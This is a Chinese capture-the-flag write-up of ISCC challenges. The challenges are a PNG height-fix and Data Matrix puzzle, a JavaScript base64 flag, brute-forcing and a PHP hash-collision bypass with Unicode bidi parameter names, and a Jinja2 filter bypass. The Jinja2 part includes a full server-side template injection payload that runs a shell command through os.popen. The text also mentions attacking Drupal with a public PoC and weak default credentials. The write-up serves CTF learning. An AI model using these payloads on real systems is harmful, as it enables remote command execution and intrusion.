MISC

好看的维吾尔族小姐姐

附件下载解压出来是一个没有后缀的名为“古力娜扎”的文件,使用winhex打开:

winhex打开古力娜扎

根据文件头判断是PNG图片,将文件后缀进行更改,得到一张图片:

古力娜扎

图片很小,看起来比例也有点怪,根据经验怀疑是更改了大小,所以直接上010editor把大小改一下:

010editor

在这里调用png的模板,把高度改的大一点,之后保存发现图片的下方藏着一张”二维码”:

更改高度后图片

看起来像传统意义上的二维码,实际上又不是。这是一种特殊形式的二维码:Data Matrix码。通过一些其他的二维码扫描软件可以得到一串比较特殊的代码:

代码

这不就是反过来的unicode么!这时候才联想到题目的提示:维吾尔族同胞的说话方式,莫非是反着说?不太了解,把字符串反过来unicode解码拿到flag:

flag

WEB

羊了个羊

题目上来玩游戏啊,第一关第二关无穷无尽。看到上面有三个按钮,充值关卡和上一关均正常使用,冲关秘技被disable了,查看一下页面源码:

1
<button class="btn" @click="handleIscc" disabled = true>冲关秘技</button>

这个button绑定了一个点击事件handleIscc,既然如此就在js中找一找这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const handleIscc = () =>{
data.cards.length = 3;
data.select.clear();
}
const handleSwitch = (type) => {
if(type === 'prev') {
if(data.level === 1) {
window.alert('反向上分不行哦~');
return;
}
data.level--;
} else {
if(data.level === 100) {
window.alert('迎接你的最终挑战!');
return;
}

也能草草看到一些逻辑,通关100关才给flagQwQ,那就继续向下分析:

1
2
3
4
5
6
if (!hasCards.length && level >= config.maxLevel) {
{
alert("U1ZORFEzdFJUVEJWWTNWNVEydFhkemRTY3pSME1UVmlibGt6T1U1TFZGWnRNemcyYUgwPQ==");
data.level = 1;
}
}

这里首先一个判断是否还有剩余的没有消除掉的卡片,如果没有并且此时的层数大于设定的层数就会alert这段base64加密后的字符串,解密之后即为flag。

小周的密码锁

题目打开是四个表项,前三个已经分别填好了123,随便填一个之后再burpsuite中抓到验证的包,送到intruder模块单字符开爆!发包间隔要高,我试的1200ms间隔(没挂代理别给我ip封了)。说来也是碰巧,提交的get请求有两项:

http://47.94.14.162:10008/?password=4&password2=1

按理说应该爆第一个password的来着,结果第一次爆成了password2,误打误撞一次成功:

burpsuite爆破

得到password2是5,直接访问得到php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
function MyHashCode($str)
{
$h = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$hash = intval40(intval40(40 * $hash) + ord($str[$i]));
}
return abs($hash);
}

function intval40($code)
{
$falg = $code >> 32;
if ($falg == 1) {
$code = ~($code - 1);
return $code * -1;
} else {
return $code;
}
}
function Checked($str){
$p1 = '/ISCC/';
if (preg_match($p1, $str)){
return false;
}
return true;
}

function SecurityCheck($sha1,$sha2,$user){

$p1 = '/^[a-z]+$/';
$p2 = '/^[A-Z]+$/';

if (preg_match($p1, $sha1) && preg_match($p2, $sha2)){
$sha1 = strtoupper($sha1);
$sha2 = strtolower($sha2);
$user = strtoupper($user);
$crypto = $sha1 ^ $sha2;
}
else{
die("wrong");
}

return array($crypto, $user);
}
error_reporting(0);

$user = $_GET['username'];//user
$sha1 = $_GET['sha1'];//sha1
$sha2 = $_GET['‮⁦//sha2⁩⁦sha2'];
//‮⁦see me ⁩⁦can you

if (isset ($_GET['password'])) {
if ($_GET['password2'] == 5){
show_source(__FILE__);
}
else{
//Try to encrypt
if(isset($sha1) && isset($sha2) && isset($user)){
[$crypto, $user] = SecurityCheck($sha1,$sha2,$user);
if((substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6)) === 'a05c53'){//welcome to ISCC

if((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password']))&&Checked($_GET['password'])){
include("f1ag.php");
echo $flag;
}else{
die("就快解开了!");
}

}
else{
die("真的想不起来密码了吗?");
}
}else{
die("密钥错误!");
}
}
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 1e4) + rand(1, 1e4));
?>

开始分析,首先定义了四个函数MyHashCode、intval40、Checked以及SecurityCheck。之后get接收变量username、sha1以及“sha2”,这里sha2标引好是因为变量名并不是sha2:

sha2

在vscode中可以看到get的变量名称有些怪,这里涉及到一些特殊的unicode字符,这些字符控制着整体字符串的打印方式,可以参考:

这个符号竟然可以从右往左打印字符串 (qq.com)

解决办法就是提前进行url编码,传入时直接传入url编码:

1
2
3
4
5
<?php
$a = '‮⁦//sha2⁩⁦sha2';
echo urlencode($a);
?>
//%E2%80%AE%E2%81%A6%2F%2Fsha2%E2%81%A9%E2%81%A6sha2

ok,下面继续分析。因为我们已经get传入了password,所以第一层if可以进入,并且第二层的password2=5也已经被我们爆出来了,我们需要进入到第二层if的else分支,password2不为5即可。之后第三层if需要传入username,sha1,以及那串特殊字符,进入后调用了SecurityCheck函数,该函数首先判断sha1是否全为小写字母,sha2是否全为大写字母,满足条件后将sha1转成大写,sha2转成小写,user转成大写,返回sha1和sha2的逐位异或和转大写的user。

第四层的if有些棘手,需要让user的sha1值的后六位等于a05c53,同时返回的异或值的sha1值的后六位也等于a05c53。至于user可以写个脚本用递增的数字转字符串计算sha1进行碰撞,很快就能拿到第一个符合条件的:

user=14987637

第二个的话只需要构造出sha1异或sha2等于user的值即可,随便写了个脚本跑出一张表:
异或表

摘取大写字符^小写字母=数字的项逐个拼接构造,得到众多结果中的一个:

$sha1 = ‘BBCBEGCE’;
$sha2 = ‘svzzrqpr’;

因为这个函数还会大小写相互转换,所以这里要对大小写提前转换一下,上面的是没转换前的。

之后就是第五层的if了。第五层需要传入password,要求是password中不能出现ISCC并且将其传入后得到的结果与ISCCNOTHARD传入后相同。简单分析一下这个MyHashCode函数。这个函数逐位取传入的字符串,每次将hash变量乘以40传入intval40函数并将取到的字符的ascii码相加作为参数传入intval40函数,返回值即为本轮循环后的hash值,尝试本地运行找出每次for循环后的hash值:

73|3003|120187|4807547|192301958|7692078399|307683136044|12307325441832|492293017673345|19691720706933882|787668828277355348|

既然不能出现ISCC,那么就从这里作为切入点。看看如果不使用ISCC,能否构造出能够替换的字符串。至于intval40这个函数,看一下chatGPT的解释:

这段代码是一个PHP函数,名为intval40,它的作用是将一个64位整数转换为40位整数。具体实现是通过判断最高位是否为1来确定是否需要进行补码操作,然后将结果返回。其中,如果最高位为1,则需要进行补码操作,将其转换为相应的负数。最后,返回40位整数的值。

最高位不是1时直接返回,不会对传入值造成任何影响,那么就来测试一下,看看在开头的处理ISCC字符串时是否有影响:

0000000000110000000000

0代表直接返回,1代表进行补码操作,处理字符串时每个字符调用两次intval40,因此前面处理ISCC时intval40没有对hash的值造成任何影响,这样就使题目更加简单了。我们的思路现在变成了能否构造字符串替换ISCC。已知在处理ISCC时intval40不会对hash的值造成影响,因此只要我们构造的字符串的开头几个字符生成的hash值在某一阶段与ISCCNOTHARD的开头相同,并且其后的字符与其保持一致,就能够成功绕过这个限制条件,如何构造?已知开头的字符串ISCC四个阶段的hash值分别为73|3003|120187|4807547,我们能否构造出第二阶段的hash值等于73?hash的初值为0,第一次intval40的结果为0,与第一个字符的ascii值相加传入intval40得到第一阶段的hash值即为第一个字符的hash值,如果要在第二阶段的值为73的话,第二个字符的ascii值应为33,ascii中是叹号,因此我们可以将ISCCNOTHARD中的I替换为ascii为1的字符加上叹号,ascii为1的字符是非可见字符,经过url编码后为%01,传入即可拿到flag,最终payload:

1
password=%01!SCCNOTHARD&password2=1&username=14987637&sha1=bbcbegce&%E2%80%AE%E2%81%A6%2F%2F%73%68%61%32%E2%81%A9%E2%81%A6%73%68%61%32=SVZZRQPR

chatGGG

开头一个简易的对话界面,感觉可能是模板注入,输入双花括号之后符号会消失,+也会转义成“加”等等,还是做了一些过滤的。

SSTI学得比较菜,在一些过滤绕过的文章中找到一些灵感

https://blog.csdn.net/weixin_52635170/article/details/129850863

使用变量设置以及拼接的方式进行绕过,不妨从构造好的payload入手:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ask={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set kongge=(lipsum|string|list)|attr(pop)(9)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(glob=b,als=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(g=b,et=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(po=b,pen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(buil=b,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=(char(99),char(97),char(116),char(32),char(102),char(108),char(108),char(108),char(97),char(97),char(103),char(46),char(116),char(120),char(116))|join%}
{%set read=dict(re=b,ad=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

由于做了一些特殊符号以及单词的过滤,因此需要进行拼接构造或从其他位置取得,例如下划线,则是从lipsum|string|list中取得,lipsum是flask的一个方法,string则是转化为字符串,list则是将字符串转化为列表

lipsum

第24个字符为下划线,因此使用pop(24)可以截取到下划线。

1
2
3
4
5
6
7
1. lipsum|attr("__globals__") 相当于 lipsum.__globals__
2. (1,2)|join 相当于 12
3. dit(a=1,b=2) 即将字典中的键进行拼接

通过以上这些方法即可构造出与
{%print ((lipsum)|attr("__globals__")).get("os").popen("cat ./flllaag.txt").read()%}
等效的payload

chatGGG

实战题

顺便附上实战第一阶段吧,第一阶段用到了cve-2018-76602,直接在网上找了个现成的poc直接打,账号密码弱口令(drupal,drupal)

实战